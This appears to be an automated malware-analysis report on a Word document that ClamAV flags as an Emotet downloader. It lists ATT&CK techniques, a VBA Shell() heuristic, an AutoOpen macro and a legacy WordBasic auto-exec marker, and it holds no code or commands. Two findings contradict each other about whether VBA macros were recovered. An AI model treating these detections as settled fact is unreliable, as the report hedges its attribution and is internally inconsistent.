MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating a Shell() call within the VBA macros. The AutoOpen macro is present and attempts to execute obfuscated commands. ClamAV identifies the file as Doc.Downloader.Emotet-6884041-0, strongly suggesting Emotet family involvement. The VBA script likely downloads and executes a second-stage payload.

Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
